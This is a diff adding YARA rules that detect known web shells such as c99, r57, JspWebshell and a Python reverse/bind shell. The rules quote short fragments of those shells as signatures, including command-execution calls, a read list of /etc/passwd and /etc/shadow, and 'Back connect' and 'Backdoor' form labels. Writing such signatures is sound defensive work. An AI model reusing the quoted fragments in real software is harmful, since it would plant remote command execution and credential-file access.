+rule cmd_asp_5_1_asp {
+	meta:
+		description = "Semi-Auto-generated  - file cmd-asp-5.1.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8baa99666bf3734cbdfdd10088e0cd9f"
+	strings:
+		$s0 = "Call oS.Run(\"win.com cmd.exe /c del \"& szTF,0,True)" fullword
+		$s3 = "Call oS.Run(\"win.com cmd.exe /c \"\"\" & szCMD & \" > \" & szTF &" fullword
+	condition:
+		1 of them
+}
+rule pws_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file pws.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "ecdc6c20f62f99fa265ec9257b7bf2ce"
+	strings:
+		$s0 = "<div align=\"left\"><font size=\"1\">Input command :</font></div>" fullword
+		$s1 = "<input type=\"text\" name=\"cmd\" size=\"30\" class=\"input\"><br>" fullword
+		$s4 = "<input type=\"text\" name=\"dir\" size=\"30\" value=\"<? passthru(\"pwd\"); ?>"
+	condition:
+		2 of them
+}
+rule PHP_Shell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file PHP Shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "a2f8fa4cce578fc9c06f8e674b9e63fd"
+	strings:
+		$s0 = "echo \"</form><form action=\\\"$SFileName?$urlAdd\\\" method=\\\"post\\\"><input"
+		$s1 = "echo \"<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\"><input type="
+	condition:
+		all of them
+}
+rule Ayyildiz_Tim___AYT__Shell_v_2_1_Biz_html {
+	meta:
+		description = "Semi-Auto-generated  - file Ayyildiz Tim  -AYT- Shell v 2.1 Biz.html.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8a8c8bb153bd1ee097559041f2e5cf0a"
+	strings:
+		$s0 = "Ayyildiz"
+		$s1 = "TouCh By iJOo"
+		$s2 = "First we check if there has been asked for a working directory"
+		$s3 = "http://ayyildiz.org/images/whosonline2.gif"
+	condition:
+		2 of them
+}
+rule EFSO_2_asp {
+	meta:
+		description = "Semi-Auto-generated  - file EFSO_2.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b5fde9682fd63415ae211d53c6bfaa4d"
+	strings:
+		$s0 = "Ejder was HERE"
+		$s1 = "*~PU*&BP[_)f!8c2F*@#@&~,P~P,~P&q~8BPmS~9~~lB~X`V,_,F&*~,jcW~~[_c3TRFFzq@#@&PP,~~"
+	condition:
+		2 of them
+}
+rule lamashell_php {
+	meta:
+		description = "Semi-Auto-generated  - file lamashell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "de9abc2e38420cad729648e93dfc6687"
+	strings:
+		$s0 = "lama's'hell" fullword
+		$s1 = "if($_POST['king'] == \"\") {"
+		$s2 = "if (move_uploaded_file($_FILES['fila']['tmp_name'], $curdir.\"/\".$_FILES['f"
+	condition:
+		1 of them
+}
+rule Ajax_PHP_Command_Shell_php {
+	meta:
+		description = "Semi-Auto-generated  - file Ajax_PHP Command Shell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "93d1a2e13a3368a2472043bd6331afe9"
+	strings:
+		$s1 = "newhtml = '<b>File browser is under construction! Use at your own risk!</b> <br>"
+		$s2 = "Empty Command..type \\\"shellhelp\\\" for some ehh...help"
+		$s3 = "newhtml = '<font size=0><b>This will reload the page... :(</b><br><br><form enct"
+	condition:
+		1 of them
+}
+rule JspWebshell_1_2_jsp {
+	meta:
+		description = "Semi-Auto-generated  - file JspWebshell 1.2.jsp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "70a0ee2624e5bbe5525ccadc467519f6"
+	strings:
+		$s0 = "JspWebshell"
+		$s1 = "CreateAndDeleteFolder is error:"
+		$s2 = "<td width=\"70%\" height=\"22\">&nbsp;<%=env.queryHashtable(\"java.c"
+		$s3 = "String _password =\"111\";"
+	condition:
+		2 of them
+}
+rule Sincap_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Sincap.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b68b90ff6012a103e57d141ed38a7ee9"
+	strings:
+		$s0 = "$baglan=fopen(\"/tmp/$ekinci\",'r');"
+		$s2 = "$tampon4=$tampon3-1"
+		$s3 = "@aventgrup.net"
+	condition:
+		2 of them
+}
+rule Test_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Test.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "77e331abd03b6915c6c6c7fe999fcb50"
+	strings:
+		$s0 = "$yazi = \"test\" . \"\\r\\n\";" fullword
+		$s2 = "fwrite ($fp, \"$yazi\");" fullword
+		$s3 = "$entry_line=\"HACKed by EntriKa\";" fullword
+	condition:
+		1 of them
+}
+rule Phyton_Shell_py {
+	meta:
+		description = "Semi-Auto-generated  - file Phyton Shell.py.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "92b3c897090867c65cc169ab037a0f55"
+	strings:
+		$s1 = "sh_out=os.popen(SHELL+\" \"+cmd).readlines()" fullword
+		$s2 = "#   d00r.py 0.3a (reverse|bind)-shell in python by fQ" fullword
+		$s3 = "print \"error; help: head -n 16 d00r.py\"" fullword
+		$s4 = "print \"PW:\",PW,\"PORT:\",PORT,\"HOST:\",HOST" fullword
+	condition:
+		1 of them
+}
+rule mysql_tool_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file mysql_tool.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5fbe4d8edeb2769eda5f4add9bab901e"
+	strings:
+		$s0 = "$error_text = '<strong>Failed selecting database \"'.$this->db['"
+		$s1 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERV"
+		$s4 = "<div align=\"center\">The backup process has now started<br "
+	condition:
+		1 of them
+}
+rule Zehir_4_asp {
+	meta:
+		description = "Semi-Auto-generated  - file Zehir 4.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "7f4e12e159360743ec016273c3b9108c"
+	strings:
+		$s2 = "</a><a href='\"&dosyapath&\"?status=10&dPath=\"&f1.path&\"&path=\"&path&\"&Time="
+		$s4 = "<input type=submit value=\"Test Et!\" onclick=\""
+	condition:
+		1 of them
+}
+rule sh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "330af9337ae51d0bac175ba7076d6299"
+	strings:
+		$s1 = "$ar_file=array('/etc/passwd','/etc/shadow','/etc/master.passwd','/etc/fstab','/e"
+		$s2 = "Show <input type=text size=5 value=\".((isset($_POST['br_st']))?$_POST['br_st']:"
+	condition:
+		1 of them
+}
+rule phpbackdoor15_php {
+	meta:
+		description = "Semi-Auto-generated  - file phpbackdoor15.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "0fdb401a49fc2e481e3dfd697078334b"
+	strings:
+		$s1 = "echo \"fichier telecharge dans \".good_link(\"./\".$_FILES[\"fic\"][\"na"
+		$s2 = "if(move_uploaded_file($_FILES[\"fic\"][\"tmp_name\"],good_link(\"./\".$_FI"
+		$s3 = "echo \"Cliquez sur un nom de fichier pour lancer son telechargement. Cliquez s"
+	condition:
+		1 of them
+}
+rule phpjackal_php {
+	meta:
+		description = "Semi-Auto-generated  - file phpjackal.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "ab230817bcc99acb9bdc0ec6d264d76f"
+	strings:
+		$s3 = "$dl=$_REQUEST['downloaD'];"
+		$s4 = "else shelL(\"perl.exe $name $port\");"
+	condition:
+		1 of them
+}
+rule sql_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file sql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8334249cbb969f2d33d678fec2b680c5"
+	strings:
+		$s1 = "fputs ($fp, \"# RST MySQL tools\\r\\n# Home page: http://rst.void.ru\\r\\n#"
+		$s2 = "http://rst.void.ru"
+		$s3 = "print \"<a href=\\\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&"
+	condition:
+		1 of them
+}
+rule cgi_python_py {
+	meta:
+		description = "Semi-Auto-generated  - file cgi-python.py.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "0a15f473e2232b89dae1075e1afdac97"
+	strings:
+		$s0 = "a CGI by Fuzzyman"
+		$s1 = "\"\"\"+fontline +\"Version : \" + versionstring + \"\"\", Running on : \"\"\" + "
+		$s2 = "values = map(lambda x: x.value, theform[field])     # allows for"
+	condition:
+		1 of them
+}
+rule ru24_post_sh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file ru24_post_sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5b334d494564393f419af745dc1eeec7"
+	strings:
+		$s1 = "<title>Ru24PostWebShell - \".$_POST['cmd'].\"</title>" fullword
+		$s3 = "if ((!$_POST['cmd']) || ($_POST['cmd']==\"\")) { $_POST['cmd']=\"id;pwd;uname -a"
+		$s4 = "Writed by DreAmeRz" fullword
+	condition:
+		1 of them
+}
+rule DTool_Pro_php {
+	meta:
+		description = "Semi-Auto-generated  - file DTool Pro.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "366ad973a3f327dfbfb915b0faaea5a6"
+	strings:
+		$s0 = "r3v3ng4ns\\nDigite"
+		$s1 = "if(!@opendir($chdir)) $ch_msg=\"dtool: line 1: chdir: It seems that the permissi"
+		$s3 = "if (empty($cmd) and $ch_msg==\"\") echo (\"Comandos Exclusivos do DTool Pro\\n"
+	condition:
+		1 of them
+}
+rule telnetd_pl {
+	meta:
+		description = "Semi-Auto-generated  - file telnetd.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5f61136afd17eb025109304bd8d6d414"
+	strings:
+		$s0 = "0ldW0lf" fullword
+		$s1 = "However you are lucky :P"
+		$s2 = "I'm FuCKeD"
+		$s3 = "ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);#"
+		$s4 = "atrix@irc.brasnet.org"
+	condition:
+		1 of them
+}
+rule php_include_w_shell_php {
+	meta:
+		description = "Semi-Auto-generated  - file php-include-w-shell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "4e913f159e33867be729631a7ca46850"
+	strings:
+		$s0 = "$dataout .= \"<td><a href='$MyLoc?$SREQ&incdbhost=$myhost&incdbuser=$myuser&incd"
+		$s1 = "if($run == 1 && $phpshellapp && $phpshellhost && $phpshellport) $strOutput .= DB"
+	condition:
+		1 of them
+}
+rule Safe0ver_Shell__Safe_Mod_Bypass_By_Evilc0der_php {
+	meta:
+		description = "Semi-Auto-generated  - file Safe0ver Shell -Safe Mod Bypass By Evilc0der.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "6163b30600f1e80d2bb5afaa753490b6"
+	strings:
+		$s0 = "Safe0ver" fullword
+		$s1 = "Script Gecisi Tamamlayamadi!"
+		$s2 = "document.write(unescape('%3C%68%74%6D%6C%3E%3C%62%6F%64%79%3E%3C%53%43%52%49%50%"
+	condition:
+		1 of them
+}
+rule shell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "1a95f0163b6dea771da1694de13a3d8d"
+	strings:
+		$s1 = "/* We have found the parent dir. We must be carefull if the parent " fullword
+		$s2 = "$tmpfile = tempnam('/tmp', 'phpshell');"
+		$s3 = "if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {" fullword
+	condition:
+		1 of them
+}
+rule telnet_cgi {
+	meta:
+		description = "Semi-Auto-generated  - file telnet.cgi.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "dee697481383052980c20c48de1598d1"
+	strings:
+		$s1 = "W A R N I N G: Private Server"
+		$s2 = "print \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie"
+		$s3 = "$Prompt = $WinNT ? \"$CurrentDir> \" : \"[admin\\@$ServerName $C"
+	condition:
+		1 of them
+}
+rule ironshell_php {
+	meta:
+		description = "Semi-Auto-generated  - file ironshell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8bfa2eeb8a3ff6afc619258e39fded56"
+	strings:
+		$s0 = "www.ironwarez.info"
+		$s1 = "$cookiename = \"wieeeee\";"
+		$s2 = "~ Shell I"
+		$s3 = "www.rootshell-team.info"
+		$s4 = "setcookie($cookiename, $_POST['pass'], time()+3600);"
+	condition:
+		1 of them
+}
+rule backdoorfr_php {
+	meta:
+		description = "Semi-Auto-generated  - file backdoorfr.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "91e4afc7444ed258640e85bcaf0fecfc"
+	strings:
+		$s1 = "www.victime.com/index.php?page=http://emplacement_de_la_backdoor.php , ou en tan"
+		$s2 = "print(\"<br>Provenance du mail : <input type=\\\"text\\\" name=\\\"provenanc"
+	condition:
+		1 of them
+}
+rule aspydrv_asp {
+	meta:
+		description = "Semi-Auto-generated  - file aspydrv.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "1c01f8a88baee39aa1cebec644bbcb99"
+		score = 60
+	strings:
+		$s0 = "If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))"
+		$s1 = "password"
+		$s2 = "session(\"shagman\")="
+	condition:
+		2 of them
+}
+rule cmdjsp_jsp {
+	meta:
+		description = "Semi-Auto-generated  - file cmdjsp.jsp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b815611cc39f17f05a73444d699341d4"
+	strings:
+		$s0 = "// note that linux = cmd and windows = \"cmd.exe /c + cmd\" " fullword
+		$s1 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /C \" + cmd);" fullword
+		$s2 = "cmdjsp.jsp"
+		$s3 = "michaeldaw.org" fullword
+	condition:
+		2 of them
+}
+rule h4ntu_shell__powered_by_tsoi_ {
+	meta:
+		description = "Semi-Auto-generated  - file h4ntu shell [powered by tsoi].txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "06ed0b2398f8096f1bebf092d0526137"
+	strings:
+		$s0 = "h4ntu shell"
+		$s1 = "system(\"$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp\");"
+	condition:
+		1 of them
+}
+rule Ajan_asp {
+	meta:
+		description = "Semi-Auto-generated  - file Ajan.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b6f468252407efc2318639da22b08af0"
+	strings:
+		$s1 = "c:\\downloaded.zip"
+		$s2 = "Set entrika = entrika.CreateTextFile(\"c:\\net.vbs\", True)" fullword
+		$s3 = "http://www35.websamba.com/cybervurgun/"
+	condition:
+		1 of them
+}
+rule PHANTASMA_php {
+	meta:
+		description = "Semi-Auto-generated  - file PHANTASMA.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "52779a27fa377ae404761a7ce76a5da7"
+	strings:
+		$s0 = ">[*] Safemode Mode Run</DIV>"
+		$s1 = "$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>"
+		$s2 = "[*] Spawning Shell"
+		$s3 = "Cha0s"
+	condition:
+		2 of them
+}
+rule MySQL_Web_Interface_Version_0_8_php {
+	meta:
+		description = "Semi-Auto-generated  - file MySQL Web Interface Version 0.8.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "36d4f34d0a22080f47bb1cb94107c60f"
+	strings:
+		$s0 = "SooMin Kim"
+		$s1 = "http://popeye.snu.ac.kr/~smkim/mysql"
+		$s2 = "href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename"
+		$s3 = "<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofi"
+	condition:
+		2 of them
+}
+rule simple_cmd_html {
+	meta:
+		description = "Semi-Auto-generated  - file simple_cmd.html.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "c6381412df74dbf3bcd5a2b31522b544"
+	strings:
+		$s1 = "<title>G-Security Webshell</title>" fullword
+		$s2 = "<input type=TEXT name=\"-cmd\" size=64 value=\"<?=$cmd?>\" " fullword
+		$s3 = "<? if($cmd != \"\") print Shell_Exec($cmd);?>" fullword
+		$s4 = "<? $cmd = $_REQUEST[\"-cmd\"];?>" fullword
+	condition:
+		all of them
+}
+rule _1_c2007_php_php_c100_php {
+	meta:
+		description = "Semi-Auto-generated  - from files 1.txt, c2007.php.php.txt, c100.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "44542e5c3e9790815c49d5f9beffbbf2"
+		hash1 = "d089e7168373a0634e1ac18c0ee00085"
+		hash2 = "38fd7e45f9c11a37463c3ded1c76af4c"
+	strings:
+		$s0 = "echo \"<b>Changing file-mode (\".$d.$f.\"), \".view_perms_color($d.$f).\" (\""
+		$s3 = "echo \"<td>&nbsp;<a href=\\\"\".$sql_surl.\"sql_act=query&sql_query=\".ur"
+	condition:
+		1 of them
+}
+rule _nst_php_php_img_php_php_nstview_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files nst.php.php.txt, img.php.php.txt, nstview.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "ddaf9f1986d17284de83a17fe5f9fd94"
+		hash1 = "17a07bb84e137b8aa60f87cd6bfab748"
+		hash2 = "4745d510fed4378e4b1730f56f25e569"
+	strings:
+		$s0 = "<tr><form method=post><td><font color=red><b>Back connect:</b></font></td><td><i"
+		$s1 = "$perl_proxy_scp = \"IyEvdXNyL2Jpbi9wZXJsICANCiMhL3Vzci91c2MvcGVybC81LjAwNC9iaW4v"
+		$s2 = "<tr><form method=post><td><font color=red><b>Backdoor:</b></font></td><td><input"
+	condition:
+		1 of them
+}
+rule _network_php_php_xinfo_php_php_nfm_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files network.php.php.txt, xinfo.php.php.txt, nfm.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "acdbba993a5a4186fd864c5e4ea0ba4f"
+		hash1 = "2601b6fc1579f263d2f3960ce775df70"
+		hash2 = "401fbae5f10283051c39e640b77e4c26"
+	strings:
+		$s0 = ".textbox { background: White; border: 1px #000000 solid; color: #000099; font-fa"
+		$s2 = "<input class='inputbox' type='text' name='pass_de' size=50 onclick=this.value=''"
+	condition:
+		all of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s2 = "echo \"<hr size=\\\"1\\\" noshade><b>Done!</b><br>Total time (secs.): \".$ft"
+		$s3 = "$fqb_log .= \"\\r\\n------------------------------------------\\r\\nDone!\\r"
+	condition:
+		1 of them
+}
+rule _r577_php_php_SnIpEr_SA_Shell_php_r57_php_php_r57_Shell_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, SnIpEr_SA Shell.php.txt, r57.php.php.txt, r57 Shell.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "911195a9b7c010f61b66439d9048f400"
+		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash3 = "8023394542cddf8aee5dec6072ed02b5"
+		hash4 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash5 = "817671e1bdc85e04cc3440bbd9288800"
+	strings:
+		$s2 = "'eng_text71'=>\"Second commands param is:\\r\\n- for CHOWN - name of new owner o"
+		$s4 = "if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult"
+	condition:
+		1 of them
+}
+rule _c99shell_v1_0_php_php_c99php_SsEs_php_php_ctt_sh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, SsEs.php.php.txt, ctt_sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		hash3 = "671cad517edd254352fe7e0c7c981c39"
+	strings:
+		$s0 = "\"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze\""
+		$s2 = "\"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm\""
+		$s4 = "\"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo\""
+	condition:
+		2 of them
+}
+rule _r577_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash2 = "817671e1bdc85e04cc3440bbd9288800"
+	strings:
+		$s2 = "echo $te.\"<div align=center><textarea cols=35 name=db_query>\".(!empty($_POST['"
+		$s3 = "echo sr(45,\"<b>\".$lang[$language.'_text80'].$arrow.\"</b>\",\"<select name=db>"
+	condition:
+		1 of them
+}
+rule webshell_c99_generic {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, c99shell_v1.0.php.php.txt, c99php.txt, SpecialShell_99.php.php.txt, ctt_sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash5 = "09609851caa129e40b0d56e90dfc476c"
+		hash6 = "671cad517edd254352fe7e0c7c981c39"
+	strings:
+		$s0 = "  if ($copy_unset) {foreach($sess_data[\"copy\"] as $k=>$v) {unset($sess_data[\""
+		$s1 = "  if (file_exists($mkfile)) {echo \"<b>Make File \\\"\".htmlspecialchars($mkfile"
+		$s2 = "  echo \"<center><b>MySQL \".mysql_get_server_info().\" (proto v.\".mysql_get_pr"
+		$s3 = "  elseif (!fopen($mkfile,\"w\")) {echo \"<b>Make File \\\"\".htmlspecialchars($m"
+	condition:
+		all of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_c99shell_v1_0_php_php_c99php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, c99shell_v1.0.php.php.txt, c99php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash5 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s0 = "$sess_data[\"cut\"] = array(); c99_s"
+		$s3 = "if ((!eregi(\"http://\",$uploadurl)) and (!eregi(\"https://\",$uploadurl))"
+	condition:
+		1 of them
+}
+rule _w_php_php_wacking_php_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, wacking.php.php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash2 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s0 = "\"<td>&nbsp;<a href=\\\"\".$sql_surl.\"sql_act=query&sql_query=\".ur"
+		$s2 = "c99sh_sqlquery"
+	condition:
+		1 of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_SsEs_php_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, SsEs.php.php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s0 = "else {$act = \"f\"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPA"
+		$s3 = "else {echo \"<b>File \\\"\".$sql_getfile.\"\\\":</b><br>\".nl2br(htmlspec"
+	condition:
+		1 of them
+}
+rule _r577_php_php_SnIpEr_SA_Shell_php_r57_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, SnIpEr_SA Shell.php.txt, r57.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "911195a9b7c010f61b66439d9048f400"
+		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash3 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash4 = "817671e1bdc85e04cc3440bbd9288800"
+	strings:
+		$s0 = "echo sr(15,\"<b>\".$lang[$language.'_text"
+		$s1 = ".$arrow.\"</b>\",in('text','"
+	condition:
+		2 of them
+}
+rule _r577_php_php_SnIpEr_SA_Shell_php_r57_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, SnIpEr_SA Shell.php.txt, r57.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "911195a9b7c010f61b66439d9048f400"
+		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+	strings:
+		$s0 = "'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash'," fullword
+		$s1 = "$name='ec371748dc2da624b35a4f8f685dd122'"
+		$s2 = "rst.void.ru"
+	condition:
+		3 of them
+}
+rule _r577_php_php_r57_Shell_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57 Shell.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "8023394542cddf8aee5dec6072ed02b5"
+		hash2 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash3 = "817671e1bdc85e04cc3440bbd9288800"
+	strings:
+		$s0 = "echo ws(2).$lb.\" <a"
+		$s1 = "$sql = \"LOAD DATA INFILE \\\"\".$_POST['test3_file']"
+		$s3 = "if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?(\"dir\"):(\"l"
+	condition:
+		2 of them
+}
+rule _wacking_php_php_1_SpecialShell_99_php_php_c100_php {
+	meta:
+		description = "Semi-Auto-generated  - from files wacking.php.php.txt, 1.txt, SpecialShell_99.php.php.txt, c100.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "9c5bb5e3a46ec28039e8986324e42792"
